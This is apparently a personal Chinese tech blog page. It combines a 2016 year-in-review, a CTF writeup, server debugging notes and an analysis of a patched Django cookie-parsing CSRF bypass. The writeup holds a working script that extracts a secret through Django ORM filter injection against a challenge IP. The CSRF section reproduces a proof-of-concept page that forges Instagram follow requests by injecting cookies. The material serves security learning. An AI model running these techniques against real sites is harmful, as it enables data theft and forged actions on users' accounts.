2017

2015年经历的太多,而又不想写出来。

2016年看似风平浪静,其实可能还有更大的考验在等着。

2016年“重大”事件记录

  • 6月份之前,借助之前的一个开源项目写了毕业论文,顺便当做说明书用。第一次用$\LaTeX$,一个让人又爱又恨的语言。当然答辩之类的都是小意思,水水就过了。
  • 毕业,离开青岛的日子,最怀念的还是青岛的环境和空气,还有大海。

psb (13).jpg

D71BFAC1CAF195E807612573F8B6E0CB.jpg

(刚毕业就两个结婚的了,2333,羡慕和祝福)

  • 考驾照,用时不到两个月,科目一是90多分,其他都是满分。
  • 正式入职长亭,一家年轻有活力的公司。作为公司最弱最水的程序员,要向各位师傅大佬们学习才行。
  • 去看了五月天音乐会,没错,就是上面的照片上最右边的家伙天天在宿舍用五月天的歌弹吉他,才让我喜欢上的。总结帖 https://virusdefender.net/index.php/archives/752/
  • 第一次合租,第一次去xx地方玩,第一次接触xx技术就略而不谈了

2017 展望

  • 计划拿出2W+的钱重点学习英语和撩妹技巧弹琴,除了写代码也得多接触一些其他行业的人和事情。
  • 学习数学和一切还不会的计算机知识(以后会有更详细的规划)
  • 培养更强的思维能力
  • 锻炼身体

夫夷以近,则游者众;险以远,则至者少。而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也。

Hello, 2017~

PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django是一个MVC框架,默认的主要代码都在models.pyviews.py,成功的得到pyc。然后使用unpyc3 https://github.com/figment/unpyc3 得到了源码。

核心代码如下

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        # 任意文件读取就是这里
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        (name, ext) = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
        try:
            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
        except BaseException as e:
            raise Http404('Static file not found')

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'
    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class Student(models.Model):
    name = models.CharField('姓名', max_length=64, unique=True)
    no = models.CharField('学号', max_length=12, unique=True)
    passkey = models.CharField('密码', max_length=32)
    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)


class Group(models.Model):
    name = models.CharField('班级名', max_length=64)
    information = models.TextField('介绍')
    secret = models.CharField('内部信息', max_length=128)
    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为filter的条件传递了,如果用户存在,而data中没有passkey就会造成500,如果用户不存在就会403,所以可以使用Django中的like查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给filter。

# 精确查询 where name="test"
Student.objects.filter(name="test")

# 按照字符串开头查询 where name="test%"
Student.objects.filter(name__startswith="test")

# 按照字符串包含查询 where name="%test%"
Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

  • 爆破,12位密码去除数字,实际组合是2^10左右,也并不大
  • 使用sql中的正则,类似Studdent.objects.filter(name__regex="test"),这样就和区分大小写的contains是一样的了。

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

import requests
import json

import string
d = string.printable

passkey = "pwnhub"

while True:
    for item in d:
        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
        if r.status_code == 500:
            passkey += item
            print(passkey)
            break
    else:
        exit()

最近遇见的几个问题

某服务后端server时不时的connection refused

前面是Nginx,后面是uwsgi,日志中时不时出现下面的内容

[error] 54#54: *1644 connect() failed (111: Connection refused) while connecting to upstream, client: 172.18.0.5, server: _, request: "POST /log HTTP/1.1", upstream: "http://[::1]:10000/log", host: "mgt-api"

找了好久也没找到原因,比较确定的是不是后面的uwsgi挂掉了,之后tcpdump抓包,发现每次出现问题的都是一个IPV6的地址,结合上面的日志恍然大悟,原来是Nginx反向代理写的是localhost而不是127.0.0.1,而且在host文件中是

127.0.0.1   localhost
::1             localhost

gethostbyname在多个IP的情况下,返回结果是随机的,导致有时候被解析到了IPV6的地址上了。

Django在https下增强的CSRF防护

某Django系统在POST的时候一直提示CSRF验证失败,即使看到的CSRFToken是没问题的,后来打开DEBUG看到提示,原因摘抄Django源码。

if request.is_secure():
    # Suppose user visits http://example.com/
    # An active network attacker (man-in-the-middle, MITM) sends a
    # POST form that targets https://example.com/detonate-bomb/ and
    # submits it via JavaScript.
    #
    # The attacker will need to provide a CSRF cookie and token, but
    # that's no problem for a MITM and the session-independent
    # nonce we're using. So the MITM can circumvent the CSRF
    # protection. This is true for any HTTP connection, but anyone
    # using HTTPS expects better! For this reason, for
    # https://example.com/ we need additional protection that treats
    # http://example.com/ as completely untrusted. Under HTTPS,
    # Barth et al. found that the Referer header is missing for
    # same-domain requests in only about 0.2% of cases or less, so
    # we can use strict Referer checking.
    referer = force_text(
        request.META.get('HTTP_REFERER'),
        strings_only=True,
        errors='replace'
    )
    if referer is None:
        return self._reject(request, REASON_NO_REFERER)

    referer = urlparse(referer)

    # Make sure we have a valid URL for Referer.
    if '' in (referer.scheme, referer.netloc):
        return self._reject(request, REASON_MALFORMED_REFERER)

    # Ensure that our Referer is also secure.
    if referer.scheme != 'https':
        return self._reject(request, REASON_INSECURE_REFERER)

    # If there isn't a CSRF_COOKIE_DOMAIN, assume we need an exact
    # match on host:port. If not, obey the cookie rules.
    if settings.CSRF_COOKIE_DOMAIN is None:
        # request.get_host() includes the port.
        good_referer = request.get_host()
    else:
        good_referer = settings.CSRF_COOKIE_DOMAIN
        server_port = request.get_port()
        if server_port not in ('443', '80'):
            good_referer = '%s:%s' % (good_referer, server_port)

    # Here we generate a list of all acceptable HTTP referers,
    # including the current host since that has been validated
    # upstream.
    good_hosts = list(settings.CSRF_TRUSTED_ORIGINS)
    good_hosts.append(good_referer)

    if not any(is_same_domain(referer.netloc, host) for host in good_hosts):
        reason = REASON_BAD_REFERER % referer.geturl()
        return self._reject(request, reason)

Django CSRF 防护绕过漏洞分析

原始漏洞链接 https://hackerone.com/reports/26647

使用 Google Analytics 进行 Cookie 注入

  • Google Analytics 会设置这样的 Cookie 来追踪用户访问
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如

__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/
  • 用户可以完全控制 referer 中的 path,然后在放入__utmz的时候没有过滤

不同的 web server 对 Cookie parse 结果的不同

  • 一个正常的Cookie是这样子的 Cookie: param1=value1; param2=value2;
  • 但是很多 web server 也可以接收使用逗号分隔的

    Cookie: param1=value2, param2=value2
    Cookie: param1=value2,param2=value2
    

Python 和 Django 使用了不正确的正则表达式来 parse Cookie,导致用户也可以使用[]来作为分隔符 Cookie: param1=value1]param2=value2

参考

例子

 >>> from http import cookies
 >>> C = cookies.SimpleCookie()
 >>> C.load('__utmz=blah]csrftoken=x')
 >>> C
 <SimpleCookie: csrftoken='x'>

不同的浏览器对 Cookie 处理结果的不同

除了 Safari 之外,其他的浏览器都可以在 Cookie value 中使用空格、逗号和[]字符。

而且 Chrome 只可以处理有限的 Cookie 属性,比如

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;

最终只能给.google.com而不是blah.blah.blah.google.com设置上 Cookie

综合在一起利用

条件是

  • 网站使用 Google Analytics
  • 网站使用的 server 或后端有 Cookie 解析的问题,比如 Django
  • 网站使用了基于 Cookie 的 CSRF 防护方法

结果

  • 我们可以设置任意的 Cookie 或者覆盖已有的 Cookie
  • 这个网站就有 CSRF 防护绕过的问题

POC

使用 Chrome 可以在 instagram.com 上复现这个问题

http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html的源码是

<form 
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed" 
id="csrf" 
method="POST">
      <input type="hidden" name="csrfmiddlewaretoken" value="x" />
      <input type="submit" value="Submit request" />
</form>
<script>
      function xxx() {
        document.getElementById('csrf').submit();
      }
</script>
<iframe 
onload="xxx()" 
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

描述

  • 用户已经登录了 instagram.com
  • 让用户访问下面的链接,同时假设他没有访问过blog.instagram.com,也没有这个子域名的__utmzhttp://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/ 这时候,Cookie 就会使用新的 path 和 domain,.instgram.com 就会被设置一个新的 Cookie _utmz=90378079.1401435337.1.1.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,
  • 这时候,服务器就会认为 Cookie 中的__utmz是错误的格式,CSRF token是x
  • 使用 CSRF token 提交上面的表单

修复

Python 的 patch 是 https://hg.python.org/cpython/rev/270f61ec1157,但是后来发现还是有问题的,比如

C = cookies.SimpleCookie()
C.load('__utmz=blah csrftoken=x')
C.load('__utmz=blah\x09csrftoken=x')
C.load('__utmz=blah\x0bcsrftoken=x')
C.load('__utmz=blah\x0ccsrftoken=x') 

仍然会被解析为两个 Cookie,但是实际的浏览器处理并不一样

  • IE 浏览器会把\x09 \x0b \x0c替换为下划线
  • Chrome 会忽略这种 Cookie
  • Google Analytics 会把空格替换为 %20,当然这不重要,因为其他的 JS 也可能有问题

但是 Firefox 是支持所有的字符的,所以可以这样利用

  • 移除 instgram.com 的所有 Cookie
  • 使用 Firefox 打开 http://instagram.com/?utm_source=1&utm_medium=2&utm_campaign=3&utm_term=4&utm_content=5%09csrftoken=x#
  • 刷新页面,你会发现 csrftoken=x

最近 Django 修复了这个问题,https://www.djangoproject.com/weblog/2016/sep/26/security-releases/,使用了简单的 parse Cookie 的方法,https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a,虽然不太标准,但是已经足够了。

思考

Just Rock It 2016

大量高清原图和视频,流量党谨慎点开

第一次听五月天的歌应该就是在大一了,某舍友弹吉他会的为数不多的曲子之一。

四年后,五月天在北京鸟巢开演唱会,我也毕业了工作了,就热情满满的去参加了~

阅读全文...